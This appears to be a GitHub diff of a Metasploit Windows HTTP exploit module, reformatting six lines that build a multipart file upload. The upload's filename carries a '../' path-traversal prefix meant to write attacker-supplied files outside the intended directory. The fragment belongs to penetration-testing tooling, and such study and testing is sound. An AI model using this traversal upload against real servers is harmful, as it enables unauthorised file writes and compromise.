File tree Expand file tree Collapse file tree 1 file changed +6
-6
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +6
-6
lines changed Original file line number Diff line number Diff line change @@ -96,12 +96,12 @@ def upload(filename, filedata)
96
96
uri = normalize_uri ( target_uri . path . to_s , "#{ rand_text_alpha ( rand ( 10 ) +5 ) } " )
97
97
depth = "../" * ( datastore [ 'DEPTH' ] + rand ( 10 ) )
98
98
99
- boundary = "----WebKitFormBoundary#{ rand_text_alphanumeric ( 10 ) } "
100
- post_data = "--#{ boundary } \r \n "
101
- post_data << "Content-Disposition: form-data; name=\" file\" ; filename=\" #{ depth } #{ filename } \" \r \n "
102
- post_data << "Content-Type: application/octet-stream\r \n "
103
- post_data << "\r \n #{ filedata } \r \n "
104
- post_data << "--#{ boundary } \r \n "
99
+ boundary = "----WebKitFormBoundary#{ rand_text_alphanumeric ( 10 ) } "
100
+ post_data = "--#{ boundary } \r \n "
101
+ post_data << "Content-Disposition: form-data; name=\" file\" ; filename=\" #{ depth } #{ filename } \" \r \n "
102
+ post_data << "Content-Type: application/octet-stream\r \n "
103
+ post_data << "\r \n #{ filedata } \r \n "
104
+ post_data << "--#{ boundary } \r \n "
105
105
106
106
begin
107
107
res = send_request_cgi ( {
You can’t perform that action at this time.
0 commit comments